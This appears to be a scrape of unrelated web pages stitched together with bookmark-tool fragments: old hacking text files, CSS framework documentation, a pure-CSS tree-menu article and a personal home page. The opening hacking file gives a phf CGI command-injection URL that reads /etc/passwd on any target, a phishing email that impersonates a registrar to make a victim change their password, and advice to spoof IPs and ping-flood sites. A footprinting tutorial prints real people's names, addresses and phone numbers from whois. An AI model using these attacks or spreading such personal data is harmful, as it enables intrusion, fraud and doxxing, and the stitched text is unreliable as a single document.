http://www.hackme.com/, you would goto http://www.hackme.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd except instead of www.hackme.com you would replace that with your targets URL this may not work some times but lets just say
10 out of 100 sites will work... It did with Master P's webpage

3B.
Internic
This is GBoZ's way of hacking a webpage it's called Scoial Engeneering
what this means is sweat talk :) or Bull shitting. Anyway when you
get the information from Internic in section 1. Get the users e-mail
then obtain a anonymous mail program and a IP spoofer that way you can't get caught! IP Spoof first , then go to your Anon mail program
and e-mail the man's page that your trying to hack the persons you
should immitate is lets say InternicHost.net tell the mans webpage
that your trying to hack that "Your webpage is casuing severe errors in
our server change your password to "WXZPP3" immidately thanks"
MAKE SURE TO USE PROPER GRAMMER AND PUNCUATION! That way it will look
offical!

4B. If you run Linux or Unix use exploits or just ping the hell out of
Hackme.com (Hackme.com = the place you wanna hack!)

Ok well it wasn't that long but I hope this gave you some sort of
insight.!

set Restriction

Add Tags ?

AddDeleteNo

close

close

web.textfiles.com/hacking/hackmind.txt

So you wanna be a HACKER huh? <Bwahahaha!> It's a state-of-MIND!
..you can induce it - but only if you are willing to drive yourself
mad enough! Go read and practice until you have mastered at least
Assembly language and Intermediate Level Electronics! Without this
foundation you'll be just another little geek, who might know the magic
words to the spell but dosent understand what he's doing! So RTFM!
..so what does that mean? Read The Fucking Manual! You will be sooo
amazed at how easy most things are if you just try to read the manual
first! The truth is: Most people cant read. Or they read poorly if
they read at all. So if you can't really read...STOP RIGHT HERE. GO
learn to read first. If you can't read at a minimum 12th Grade level
you cant be a hacker. Reading is the basic skill you must have to do
EVERYTHING BEYOND THIS POINT.

Tell your friends you cant party...you're busy. Spend at least 4
hours a day at your new-found fascination...or decide right here
and now that you cant cut it! If you CAN, get a copy of MINIX or
LINUX...start learning about OPERATING SYSTEMS. Then start your
1st real hack...try building a computer-controlled, DTMF dialer
card for your cheap PC...write the code to use it with, make it
a TSR to keep life interesting...now port it to MINIX or whatever
...better yet, port it as an IOCTL call at kernel level! You keep
reading...

Now you're ready to take on something more complex - go to the
Library, start a literature search; topic: Telephone Technologies.
RTFM! Learm about the ancient cross-bar, the Pre-ESS systems, the
fab MFTSS, the TELEX boxes and circuits...keep reading...buy up
an older, cheap (like under $50) cellular phone...by this time
you should already have a subscription to 'Nuts & Volts" as well
as a few other grassroots technology pubs....buy a copy of the
"Cellular Hacker's Bible"....start by doing something simple..
..disassemble and re-write the phone`s control ROM to allow it
to function as an 800MHZ scanner...hopefully you've assembled
a large array of tools and test gear by now. You've got a good
dual-trace scope, some pc-based PROM burner, a signal generator,
a logic probe or two, maybe even a microprocessor-emulator for
the 5051, the Z80, the 68010 or something....you may have been
dragged into some fields-afar by life - incorporate them: If
somebody drasgged you into SCUBA, build your own sonar. If you
have gotten interested in amateur radio, you can build a lot
of swell stuff...I recommend you checkout Packet's AX25A level2
protocol...very slick stuff! If your bud's are all into motors,
take a whak at doing your own Performance PROMS for GM's F.I. and
spark advance curves...or try adapting some Volkswagen/BOSCHE
Kjetronics F.I. to a Harley Davidson!..maybe you're into music
so you buy a synthesizer and learn all about electronic music,
you start hacking analog modules and build a nicer synth than you
could buy! Then you interface it to a MIDI port on a cheap 286AT
and then hack up some sequencer software, or buy some and then
disassemble it to fix all the bugs! You keep reading...

By now most of your friends are also "far into the pudding", you
have either gained 50 lbs or gone totally skinny...your skin tone
is 2 shades lighter from being indoors so long...most of the opposite
sex is either totally freaked by or with you - they either dig you,
or they dont!...you're probably knocking on the door of what will
be a $60K+/yr job as a systems analyst...and you are well-aware that
90% of the people in this world can't talk their way out of a badly
cooked steak at the local eatery, let alone install a new motherboard
in their PC! So you pick up some extra cash on doing shit like that
for the straights...you keep reading, and RTFM'ing higher and higher,
learning about networks...the VCR breaks down and your SO bitches
about having to wait till monday to have it fixed...you fix it in
about 40 minutes....the next day the clothes dryer starts to make
squeeking noises like a 50' mouse, you've never fixed one before -
but somehow it's not that difficult to open the bastard up and find
the squeek and fix it...and suddenly it dawns on you that hacking
code or hardware is pretty much the same! You keep reading...

Congrats, you are now a real hacker. Absolutly nothing but a lack of
time (or in some cases money) can stop you. You are a true Technologic
Philosopher...you can function in places a mere Engineer or Scientist
would truly FEAR TO TREAD! You can read better than Evelyn Wood, you
have a collection of tools that would make a Master Machinist and a
Prototype EE or ME cry. You can calculate series and parallel resonant
circuits in your head. You can fix any consumer appliance - if you can
get the parts. Your car has either become one of your main hacks or
you'ver deligated the job to a mechanic who you have found to be a
fellow hacker; and you work on his homebrew 68010 unix box...because
you've got a 68010 emulator and he works on your car because that's
the kind he specializes in! Maybe you trade services with people
for 50% of what ordinary people have to BUY WITH CASH!...you keep
reading...

(this is the stage where the author now finds himself...16 years
into a career at a Fortune 5 company and age 42...still reading...
your mileage may vary! <-((that's my code too! I co-wrote VEEP,
(vehicle-economy-emissions-program, a complete auto-simulator,
written in Fortran-5 for the Univac 1108 system using punch-cards!)
for the Ford Foundation and the DOT while at JPL in 1973)) )

-Avatar-> (aka: Erik K. Sorgatz) KB6LUY +----------------------------+
TTI([email protected])or: [email protected] *Government produces NOTHING!*
3100 Ocean Park Blvd. Santa Monica, CA 90405 +----------------------------+
(OPINIONS EXPRESSED DO NOT REFLECT THE VIEWS OF CITICORP OR ITS MANAGEMENT!)

.

set Restriction

Add Tags ?

AddDeleteNo

close

close

Framework | CodyHouse

Framework | CodyHouse set Restriction

[

CodyHouse Framework + Components are featured on Product Hunt! Join the discussion →

](https://www.producthunt.com/posts/codyhouse-framework-and-components)

CodyHouse Logo

Projects Untitled Toggle project menu

  • Rename
  • Duplicate Pro
  • Export Pro
  • Delete Pro

Menu__Close

Close modal window

Progress value is 30%

Show navigation content...

Content navigation Close navigation

Framework

The CodyHouse's Framework is a lightweight front-end framework for building accessible, bespoke interfaces.

Some of the advantages of working with this framework:

  • ⚡️ lightweight (8KB minified and gzipped)
  • 🙌 no need to override existing CSS rules
  • 📱 mobile-first
  • 🎨 create unique designs with total control
  • 📖 easy to learn

Download the Framework on Github

or install the framework in your Node.js powered apps with the npm package:

npm i codyhouse-framework

If you want to take the framework for a spin, or follow along one of our tutorials, feel free to fork this pen:

🕹 codepen.io/codyhouse/pen/Wqvpmm


🔍 On this page:

  1. Getting started
  2. Files included
  3. Supported browsers
  4. Progressive enhancement
  5. CSS Custom Properties

Getting started #

The framework includes a Gulp file with some basic configurations needed to run a web project based on the framework. For detailed info on how the Framework Gulp file works, please refer to our article on the topic.

To start a web project using this Gulp configuration file, navigate to the framework folder and run the following commands:

npm install
npm run gulp watch

The first command will install the modules the framework requires for compiling SCSS into CSS; the second will launch your project on a development server.

Files included #

The framework is composed of:

  1. _base.scss: essential CSS rules and utility classes (We suggest you don't modify these files).
  2. _custom-style.scss: a CSS template to create your bespoke style (e.g., buttons, forms, and colors).
  3. style.scss: used to import the _base.scss and _custom-style.scss files. It compiles into two separate CSS files: style.css and style-fallback.css. The first one includes the CSS custom properties; in the second one the CSS custom properties are replaced by their fallbacks (generated using a PostCSS plugin). A script in the <head> of the index.html file checks CSS variables support and delivers only one CSS file.
  4. util.js: the utility functions used in the CodyHouse Components. Make sure to import this file before the component script file.
codyhouse-framework/
└── main/
    ├── assets/
    │   ├── css/
    │   │   ├── base/
    │   │   │   ├── _accessibility.scss
    │   │   │   ├── _breakpoints.scss
    │   │   │   ├── _buttons.scss
    │   │   │   ├── _colors.scss
    │   │   │   ├── _forms.scss
    │   │   │   ├── _grid-layout.scss
    │   │   │   ├── _icons.scss
    │   │   │   ├── _mixins.scss
    │   │   │   ├── _reset.scss
    │   │   │   ├── _shared-styles.scss
    │   │   │   ├── _spacing.scss
    │   │   │   ├── _typography.scss
    │   │   │   ├── _util.scss
    │   │   │   ├── _visibility.scss
    │   │   │   └── _z-index.scss
    │   │   │── custom-style/
    │   │   │   ├── _buttons.scss
    │   │   │   ├── _colors.scss
    │   │   │   ├── _forms.scss
    │   │   │   ├── _shared-styles.scss
    │   │   │   ├── _spacing.scss
    │   │   │   └── _typography.scss
    │   │   ├── _base.scss
    │   │   ├── _custom-style.scss
    │   │   ├── style-fallback.css
    │   │   ├── style.css
    │   │   └── style.scss
    │   └── js/
    │       └── util.js
    └── index.html

Supported browsers #

The Framework supports the latest, stable releases of all major browsers. On Windows, we support IE 9+ / Microsoft Edge.

Progressive enhancement #

The Framework and the Components are built following the principle of progressive enhancement. Please make sure to include the following script in the <head> of your document:

<script>document.getElementsByTagName("html")[0].className += " js";</script>

The script is used in CSS to target that JavaScript is enabled and apply additional style accordingly. If you don't include the script, part of the style of the components won't be visible.

Besides checking JavaScript support, we check the support of CSS custom properties. If the browser supports them, the style.css file is downloaded. Otherwise, the browser downloads the style-fallback.css file, where the CSS variables are replaced by their fallbacks (generated using a PostCSS plugin). More info in the CSS Custom Properties chapter on this page.

<script>
  if('CSS' in window && CSS.supports('color', 'var(--color-var)')) {
    document.write('<link rel="stylesheet" href="assets/css/style.css">');
  } else {
    document.write('<link rel="stylesheet" href="assets/css/style-fallback.css">');
  }
</script>
<noscript>
  <link rel="stylesheet" href="assets/css/style-fallback.css">
</noscript>

CSS Custom Properties #

We use CSS variables as opposed to SASS variables because there are cases where we update the variables at specific breakpoints (e.g., to make typography responsive), or to power-up our adaptive color themes. For more information about the advantages of using CSS custom properties, please check our 'Why we prefer CSS Custom Properties to SASS variables' article on the topic.

To provide a fallback for browsers that don't support CSS custom properties, we use a modified version of the postcss-css-variables gulp plugin. When you use a CSS variable in your SCSS, the plugin generates a copy of the property replacing the variable with its value (the fallback).

For example, if in your SCSS you write this:

.max-width-lg {
    max-width: var(--max-width-lg);
}

In your CSS file you have:

.max-width-lg {
    max-width: 80rem;
    max-width: var(--max-width-lg);
}

⚠️ The Gulp configuration file is set to compile the SCSS file into two separate CSS files: style.css includes the CSS custom properties; in the style-fallback.css file, the CSS variables are replaced by their fallbacks (generated by the PostCSS plugin). The script in the <head> of the index.html file is used to deliver only one file, according to whether the browser supports CSS variables or not.

There are some limitations though when working with CSS Variables in combo with this plugin: in some cases (listed below), the plugin can't provide a fallback (or it may throw an undefined value). It's important to be aware of these limitations, to avoid potential issues in your code.

Case 1: Local scope

If you define a CSS variable within a selector and then update it in one of its child elements, the plugin generates proper fallbacks.

SCSS:

.text-component {
    --text-vspace-multiplier: 1;

    hr {
        --text-vspace-multiplier: 2;
        margin: calc(var(--space-lg) * var(--text-vspace-multiplier)) auto;
    }
}

CSS generated:

.text-component {
    --text-vspace-multiplier: 1;
  }

.text-component hr {
    --text-vspace-multiplier: 2;
    margin: calc(2em * 2) auto;
    margin: calc(var(--space-lg) * var(--text-vspace-multiplier)) auto;
}

However, if you create a class modifier and update the variable in the modifier, the plugin does not generate a fallback for the children of the modifier, unless their properties are defined in the modifier too.

For example, if we consider this code:

.text-component {
    --component-body-line-height: calc(var(--body-line-height) * var(--line-height-multiplier));
    --component-heading-line-height: calc(var(--heading-line-height) * var(--line-height-multiplier));
    --line-height-multiplier: 1;

    h1, h2, h3, h4 {
        line-height: var(--component-heading-line-height);
    }

    p, blockquote, ul li, ol li {
        line-height: var(--component-body-line-height);
    }
}

.article.text-component { 
    --line-height-multiplier: 1.13;
}

In this case, in browsers that support CSS Variables the children of .article inherit the new variable value of the modifier, while in old browsers you won't see changes. This approach makes sense if the modifiers are "enhancements" (e.g. a color theme that does not convey a meaning other than aesthetic embellishment).

Important: if you create a scoped variable, you should use it within the scope (selector) where it's defined.

Case 2: Global scope

If you update a global variable at a specific breakpoint, the plugin generates a proper fallback, but that means that it creates a media query for each property where the variable has been used, which could result in a lot of unexpected CSS code. One way around this issue is targeting the <body> element and not the :root.

:root, body {
    --foo: 1em;
}

@include breakpoint(md) {
    body {
        --foo: 2em;
    }
}

By doing so, the plugin won't generate media queries for all the elements where the variable has been used, thus limiting the variable update to the browsers that natively support CSS Variables (where the new value is propagated anyway). Once again, this approach makes sense as long as the variable updates can be considered "progressive enhancements".

Case 3: skip the fallback using @support

If you don't want the plugin to generate a fallback, you have the option to wrap your code using the @supports(--css: variables) rule.

:root {
  --text-base-size: 1em;
  --text-scale-ratio: 1.2;

}

@supports(--css: variables) {
  :root {
    @include breakpoint(md) {
      --text-base-size: 1.25em;
      --text-scale-ratio: 1.25;
    }
  }
}

A good example is our typography system, or our system for generating color themes, where we define the default theme in the global scope, while the new themes include the @supports(--css: variables) feature query.

In doing so, the themes are visible only in browsers that support CSS Variables, and the plugin does not generate any fallback. If you let the plugin run through a theme, the fallback generated is not correct, and it could result in issues in older browsers.

The takeaway being: use the @supports(--css: variables) if you want to prevent the plugin from generating a fallback because the changes you made won't compromise the user experience in older browsers.

Get started with Accessibility 👉

📢 We use cookies to give you the best possible website experience. By using CodyHouse, you agree to our Privacy Policy.

Close Notification

✅ Project duplicated

✅ Project created

UI Framework

Experiments

Support

Socials

Sponsored by

nc logo

Nucleo is a free app to organize your icons and export them as icon font and SVG symbols.

©2014 - 2019 CodyHouse. A project by @romano_cla and @guerriero_se

Back to top Enable****Disable Dark Mode

🚀 Upgrade to CodyHouse Pro

Close modal window

  • ✅ Unlimited Projects
  • ✅ Unlock 42 Pro Components
  • ✅ One-click Project Export

Log in Learn more Go Pro - $89/year

Close modal window

There was an error while trying to export your project. Please try again or contact us

Add Tags ?

AddDeleteNo

close

close

web.textfiles.com/hacking/footprinting.txt

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=

                -= Footprinting And The Basics Of Hacking =-

                         -= By Manic Velocity =-
                    -= [[email protected]](mailto:[email protected] "Linkify Plus Plus") =-
                       
                       -= [http://www.2600slc.org](http://www.2600slc.org "Linkify Plus Plus") =-

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

¥ What Is Footprinting?

Footprinting is the first and most convenient way that hackers use to gather information
about computer systems and the companies they belong to. The purpose of footprinting to
learn as much as you can about a system, it's remote access capabilities, its ports and
services, and the aspects of its security.

In order to perform a successful hack on a system, it is best to know as much as you can,
if not everything, about that system. While there is nary a company in the world that
isn't aware of hackers, most companies are now hiring hackers to protect their systems.
And since footprinting can be used to attack a system, it can also be used to protect it.
If you can find anything out about a system, the company that owns that system, with the
right personell, can find out anything they want about you.

In this talk, I will explain what the many functions of footprinting are and what they do.
I'll also footprint everyone's favorite website, just to see how much info we can get on
Grifter.

¥ Open Source Footprinting

Open Source Footprinting is the easiest and safest way to go about finding information
about a company. Information that is available to the public, such as phone numbers,
addresses, etc. Performing whois requests, searching through DNS tables, and scanning
certain IP addresses for open ports, are other forms of open source footprinting. Most
of this information is fairly easy to get, and getting it is legal, legal is always good.

Most companies post a shit load of information about themselves on their website. A lot
of this information can be very useful to hackers and the companies don't even realize it.
It may also be helpful to skim through the webpage's HTML source to look for comments.
Comments in HTML code are the equivalent to the small captions under the pictures in high
school science books. Some comments found in the HTML can hold small tid-bits of info
about the company, otherwise not found anywhere else.

¥ Network Enumeration

Network Enumeration is the process of identifying domain names and associated networks.
The process is performing various queries on the many whois databases found on the
internet. The result is the hacker now having the information needed to attack the system
they are learning about. Companie's domain names are listed with registrars, and the
hacker would simply query the registrar to obtain the information they are looking for.
The hacker simply needs to know which registrar the company is listed with. There are
five types of queries which are as follows:

Registrar Query:  This query gives information on potential domains matching the 
target.

Organizational Query:  This is searching a specific registrar to obtain all 
instances of the target's name.  The results show many different domains associated
with the company.

Domain Query:  A domain query is based off of results found in an organizational 
query.  Using a domain query, you could find the company's address, domain name, 
administrator and his/her phone number, and the system's domain servers.  The 
administrative contact could be very useful to a hacker as it provides a purpose
for a wardialer.  This is also where social engineering comes into play.  But 
that's a talk for another time.  Many administrators now post false phone numbers 
to protect themselves from this. 

Network Query:  The fourth method one could use the American Registry for Internet 
Numbers is to discover certain blocks owned by a company.  It's good to use a 
broad search here, as well as in the registrar query.

POC Query:  This query finds the many IP adresses a machine may have.

¥ DNS Interrogation

After gathering the information needed using the above techniques, a hacker would begin to
query the DNS. A common problem with system adminstrators is allowing untrusted, or worse,
unknown users, to perform a DNS Zone Transfer. Many freeware tools can be found on the
internet and can be used to perform DNS interrogation. Tools such as nslookup, for PC, and
AGnet Tools, for Mac, are some common programs used for this.

¥ Other Helpful Techniques Used In Footprinting

Ping Sweep:  Ping a range of IP addresses to find out which machines are awake.

TCP Scans:  Scan ports on machines to see which services are offered.  TCP scans 
can be performed by scanning a single port on a range of IPs, or by scanning a 
range of ports on a single IP.  Both techniques yeild helpful information.

UDP Scans:  Send garbage UDP packets to a desired port.  I normally don't perform 
UDP scans a whole lot because most machines respond with an ICMP 'port unreachable' 
message.  Meaning that no service is available.

OS Indentification:  This involves sending illegal ICMP or TCP packets to a machine.  

The machine responds with unique invalid inputs and allows the hacker to find out what the
target machine is running.

¥ Let's Try It!

Ok, I've explained as best I can what the functions of footprinting are. Now we're going
to actually use them. Let's footprint 2600slc.org to find out as much as we can about
Grifter. Keep in mind that I am using a mac and I don't know the necessary tools to use
on a PC when footprinting. For all the procedures listed below, I will be using a utility
known as AGnet Tools version 2.5.1. This application allows you to use all of the basic
funtions of footprinting in one easy to use program. I know there are other security
auditing tools for the mac out there which offer more functions, but AGnet is the most
user friendly program I can find.

Now, just by looking at the website, we know where the 2600 meetings are held and at what
time. This information really isn't useful right now because you obviously managed to find
your way here. Good for you. We find that Grifter also runs staticdischarge.org, and by
going further into the website, we find that Grifter has three main email contacts which
are:

[[email protected]](mailto:[email protected] "Linkify Plus Plus")
[[email protected]](mailto:[email protected] "Linkify Plus Plus")
and [[email protected]](mailto:[email protected] "Linkify Plus Plus")

Ok, we have Grifter's three emails which we will use later. But for now, let's get some
information on 2600slc.org. We type in 2600slc.org into the prompt of the Name Lookup
window in AGnet tools, and our result is this IP address:

[207.173.28.130](http://207.173.28.130 "Linkify Plus Plus")

But wait, just out of curiosity, what is the IP of staticdischarge.org? We type the domain
into the Name Lookup prompt and we are given the same IP. We can safely say that
2600slc.org and staticdischarge.org are hosted on the same box. But if I were to do a
reverse name lookup on the IP, which domain will come up? 2600slc.org or
taticdischarge.org? Neither, the result is linuxninjas.org. Ah ha! So linuxninjas.org
is the name of the box hosting 2600slc.org and staticdischarge.org. Neat!

So now that we have the IP, let's check to see if linuxninjas is awake. We type the IP
into the prompt in the Ping window. We'll set the interval between packets to 1
millisecond. We'll set the number of seconds to wait until a ping times out to 5. We'll
set the ping size to 500 bytes and we'll send ten pings.

Ten packets sent and ten packets received. Linuxninjas.org returned a message to my
computer within an average of 0.35 seconds for every packet sent. Linuxninjas is alive
and kicking.

Moving on. Remember Grifter's three email addresses? What can we do with those? This is
where Finger comes in. A lot of businesses nowadays don't run finger, because it reveals
too much information about any one user on a system. But of course, it never hurts to try.
Let's enter Grifter's emails into the prompt in the Finger window.

[[email protected]](mailto:[email protected] "Linkify Plus Plus") = Finger failed.
[[email protected]](mailto:[email protected] "Linkify Plus Plus") = Finger failed.
[[email protected]](mailto:[email protected] "Linkify Plus Plus") = Finger failed.

Like I said, a lot of systems no longer use finger.

Ok, since Finger gave us bupkuss, let's move on to Whois. We open the Whois window and
type linuxninjas.org into the Query prompt, and whois.networksolutions.com into the Server
prompt. This means we'll be asking Network Solutions to tell us everything they know about
linuxninjas.org.

The result is this laundry list of info:

Registrant:
Static Discharge (LINUXNINJAS-DOM)
p.o.box 511493
SLC, UT 84151
US

Domain Name: [LINUXNINJAS.ORG](http://LINUXNINJAS.ORG "Linkify Plus Plus")

Administrative Contact, Billing Contact:
Wyler, Neil  (NWB43)  [[email protected]](mailto:[email protected] "Linkify Plus Plus")
Static Discharge
p.o.box 511493
SLC, UT 84151
801-773-6103

Technical Contact:
sutton, kenny  (KS16306)  [[email protected]](mailto:[email protected] "Linkify Plus Plus")
hektik
p.o.box 511493
SLC, UT 84151
877-828-3849

Record last updated on 17-Aug-2001.
Record expires on 11-Aug-2002.
Record created on 11-Aug-2000.
Database last updated on 12-Dec-2001 04:06:00 EST.

Domain servers in listed order:

[NS1.HEKTIK.ORG](http://NS1.HEKTIK.ORG "Linkify Plus Plus")	[207.173.28.130](http://207.173.28.130 "Linkify Plus Plus")
[NS2.HEKTIK.ORG](http://NS2.HEKTIK.ORG "Linkify Plus Plus")	[64.81.168.80](http://64.81.168.80 "Linkify Plus Plus")

Wow. Check this out. But remember that a lot of sysadmins post false info into their
registrars database. So these phone numbers could be payphones, and these addresses could
be whore houses. But as far as we know, we now have Grifter's real name, his address and
his phone number. We also have the same for Kenny. We can see when Grifter registered
linuxninjas.org, when it expires, and when it was last updated. And look! We have
another one of Grifter's email addresses. Lets run it through Finger just for kicks.

[[email protected]](mailto:[email protected] "Linkify Plus Plus") = Finger failed.  Oh well.

Well, now that we have a bit of personal info on Grifter, let's check back with
linuxninjas.org.

A corner stone of footprinting is Port Scanning. Let's port scan linuxninjas.org and see
what kind of services are running on that box. We type in the linuxninjas IP into the Host
prompt of the Port Scan window. We'll start searching from port number 1, and we'll stop
at the default Sub7 port, 27374. Our results are:

21	TCP	ftp
22	TCP	ssh	SSH-1.99-OpenSSH_2.30
25	TCP	smtp
53	TCP	domain
80	TCP	www
110	TCP	pop3
111	TCP	sunrpc
113	TCP	ident

Just by this we know that Grifter is running a website and email, (duh), using POP3,
(Post Office Protocal version 3), SUNRPC (SUN Remote Procedure Call), and ident. This
could lead to some fun trying to access his FTP, or telnetting to his SMTP and sending
your mom midget porn through his email address.

¥ Conclusion

All of these functions are very basic. They are simpe and easy to use. And above all,
they are legal. As I said in the introduction, legal is always good. Whenever
footprinting a system, keep in mind that you could find something that you aren't supposed
to see. If this happens, contact the sysadmin and let them know of it. You could get into
serious trouble if you misuse the information you find. Also let them know of any bugs or
exploits you may find. Who knows? If you help them out enough, you could land a job with
them protecting their system. Nothing could be greater than getting paid to do what you do
best. But try not to let money be your motivation. Hacking is all about learning.

There is definetely more to learn about Grifter and his little websites. Like why I found
him sneaking around my backyard last night. But I guess we'll have to delve into that
later.

Especially be careful when trying to access any open ports you may find. Brute forcing an
ftp or a web server can also land you in a pile. If anything you try to access requires a
password, you probably shouldn't be there. But like I said, if you access something
important and it didn't ask you for a password, let the sysadmin know of it.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-
© 2600SLC.ORG 2002
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

set Restriction

Add Tags ?

AddDeleteNo

close

close

Pure CSS collapsible tree menu – Ryan Seddon

Pure CSS collapsible tree menu – Ryan Seddon set Restriction






Skip to content


Ryan Seddon


Author Ryan Seddon

Posted on July 14, 2010

Categories cssTags css3, pure css

Pure CSS collapsible tree menu

The classic tree view, we all know it, it’s used everywhere and it definitely can be useful in the right context. I’ve seen various examples about doing it with CSS and they’ve all required JavaScript. Not content with any of those solutions I investigated doing it with pure CSS, I got a good head start from my Custom Radio and Checkbox inputs article. From there I’ve come up with a solution that works pretty well.

Another demo, another bug

Everything I seem to investigate lately seems to present itself with an annoying bug/feature in various browsers. Last time it was the inconsistency between browsers and generated content on form elements. This time it is WebKit not being able to apply styles using the checked pseudo-class in conjunction with a general sibling combinator (E ~ F) or chained adjacent sibling combinator (E + F + F). Making it very hard, and probably the reason I haven’t seen a CSS solution that works in WebKit browsers. I did come across this demo but due to the bug mentioned above doesn’t work in WebKit browsers.

So I soldiered on and came up with a pretty decent attempt, and remember folks I’m not a designer so be kinder this time with design critiques all I’m doing is showing you how to do the technique ;). With that out of the way let’s dig into the inner workings and road blocks I faced.

General sibling combinators are flaky

The CSS3 selector module has a very useful addition to compliment the CSS2.1 adjacent sibling combinator. Unlike the adjacent selector the general selector gives us some flexibility in that it will match a sibling that isn’t immediately preceded by our first element.

Great, I have 3 elements an , &

    the general sibling combinator is the perfect tool to do things like input:checked ~ ol. Check Firefox, awesome works, Opera too! Woo! Surely WebKit will have this…nope nothing. Let me try input ~ ol, yep works across the board, *face palm*.

    So I dug into WebKits bug tracker and came out with this bug which has been around since 2007. Stating that general sibling combinators in combination with dynamic CSS, ala :checked, won’t reflect changes. Nor will it do chained adjacent combinator which was going to be my next solution.

    However doing :checked with a single adjacent sibling combinator works fine in post 2008 WebKit browsers. So using this information I went about and built a working demo that has good browser support.

    View live demo Download the source files

    The demo is built using an ordered list (ol) nested with further ordered lists to naturally represent a basic folder structure.

    1. File 1
    2. Subfolder 1
      1. File 2
      2. File 2
      3. File 2

    As you can see, in order to get around the general combinator issue in WebKit based browsers I have switched the label to come first then the input so the “folders” could be expanded/collapsed by checking/unchecking the checkbox.

    li input {
    position: absolute;
    left: 0;
    margin-left: 0;
    opacity: 0;
    z-index: 2;
    cursor: pointer;
    height: 1em;
    width: 1em;
    top: 0;
    }
    li label {
    background: url(folder-horizontal.png) 15px 1px no-repeat;
    cursor: pointer;
    display: block;
    padding-left: 37px;
    }

    To sit the input and label in the right visual order I absolutely positioned the input and applied a left padding to the label to push it out. That way changing the styles of the child ol, when the input is checked, can be done using the adjacent sibling combinator. I’ve also set the cursor to pointer when hovered over the input or label to visual show they’re clickable.

    li input + ol {
    background: url(toggle-small-expand.png) 40px 0 no-repeat;
    margin: -0.938em 0 0 -44px; /* 15px */
    display: block;
    height: 1em;
    }

    Unlike my custom radio and checkbox article where I added the background image on the label, this time I had to do some trickery and apply it to the direct sibling ol of an input. Applying a sprite image to the ol wouldn’t be possible in this situation due to it being applied to the ol which would make it difficult to effectively hide other images within the sprite image.

    To position the ol correctly I use a negative margin to pull it into the right location so it will sit next to the label and underneath the invisible checkbox.

    li input + ol > li {
    display: none;
    margin-left: -14px !important;
    padding-left: 1px;
    }

    To hide the sub folders so they don’t appear when the parent folder is collapsed I target the child list items and set them to, a zero height and hide any overflowAndy pointed out that I could just use display: none over height, this also stops the keyboard navigation from tabbing into non expanded items as they’re now hidden.

    li label {
    background: url(folder.png) 15px 1px no-repeat;
    }
    li.file a {
    background: url(document.png) 0 -1px no-repeat;
    color: #fff;
    padding-left: 21px;
    text-decoration: none;
    display: block;
    }

    To differentiate between folders and files I applied a background image to either the label or to an anchor within a list item for files.

    li {
    position: relative;
    margin-left: -15px;
    list-style: none;
    }
    li.file {
    margin-left: -1px !important;
    }

    To pull out the folder list items I apply a larger negative margin so the folder will line up with any of the file icons, and for file based list items I reset the left margin so they sit flush.

    Change icon based on file extension

    With some CSS3 attribute selectors we can determine an anchor links file format and change the icon accordingly.

    li.file a[href $= '.pdf'] { background-position: -16px -1px; }
    li.file a[href $= '.html'] { background-position: -32px -1px; }
    li.file a[href $= '.css'] { background-position: -48px -1px; }
    li.file a[href $= '.js'] { background-position: -64px -1px; }

    Using the $= CSS attribute selector allows us to check the end of an attribute exactly ends in .pdf, .html etc.

    If for some reason you attribute doesn’t end with your file extension, your anchor may have a query string on the end. We can still match file types.

    li.file a[href *= '.pdf'] { background-position: -16px -1px; }
    li.file a[href *= '.html'] { background-position: -32px -1px; }

    The *= will match a substring that contains .pdf or .html anywhere within the attribute and if a href has a query string we can still match our file extension without issue. This does have the slight disadvantage that it will match it anywhere e.g. if you have a file called file.html.pdf it will match both file types and the one with the higher CSS specificity will be applied or incase of the example above their CSS specificity is the same so the html background will be applied.

    Checkbox attributes

    In the demo by default the first folder is open, this is done by adding the checked attribute to the checkbox which will trigger our styles thanks to the checked pseudo-class and reveal its sub files and folders.

    We can also add the disabled attribute to the checkbox to stop a user from opening a folder as the input can neither be checked or unchecked.

    Lastly using a combination of both disabled and checked will allow us to reveal the sub files and folders but not allow the user to close the top level folder.

    Browser support

    Based on testing this will work in any CSS3 selector supporting browser. The following have been tested and known to work

    • Firefox 1+
    • Opera 9.6+
    • Safari 4+
    • iPhone/iPod Safari
    • Chrome 1+
    • Android
    • IE9+

    This could very well work in IE8 but would require some JavaScript to get IE8 to interpret the checked pseudo-class, which I won’t be going into.

    Right now I use conditional comments to hide the stylesheet from all versions of IE and another conditional comment to load the stylesheet for IE9 and greater.

    <link rel="stylesheet" type="text/css" href="_styles.css" media="screen">
    

    Highly scalable

    This technique will cater for a large amount of sub folders and files. It’s governed by your screen real estate and even then it’ll apply scroll bars to the document when the tree structure gets too long or wide.

    Any questions/comments/suggestions leave a comment.

    [link href=”http://cssn.in/ja/026″]

    Post navigation

    Previous Previous post: How Gmail’s drag and drop works and why it’s not supported in Safari

    Next Next post: Drag out files like Gmail

    Ryan Seddon

    Add Tags ?

    AddDeleteNo

    close

    close

Eric S. Raymond's Home Page

Eric S. Raymond's Home Page

| Eric S. Raymond's Home Page | |


Home page
Site Map
What's New
Software
Projects
HOWTOs
Essays
Personal
Weblog
For Journalists
Freedom!
Firearms!
Who Is ESR?








Email me



Welcome to my piece of the Web. I maintain quite a lot of open-source software, FAQs, and HTML documents, so this site is rather complex. It's mostly validated HTML and light on the graphics, though. You won't have to wait an eon for any of the pages to load.

If the software and FAQs I maintain are valuable to you (and especially if my software makes you money) please leave me a tip at Patreon or SubscribeStar.

I'm on

Using this site

If you want to link to, copy, mirror, or translate portions of this site, please read my copying policy.


If the HTML or images on this site seem to be confusing your browser, see the site design notes.

Frequently-Asked Questions

If you're with the press, or want me to give a talk, here are answers to the usual questions. You can see a list of my upcoming speaking engagements.

If you're looking for the Halloween Documents, they're here. Having studied the history of other advocacy organizations, I specifically designed OSI not to be a founder-centered cult of personality; I think OSI's decision to move them off the OSI website was a mistake, but our community is healthier because they had the power to make that mistake.

It's all about freedom...


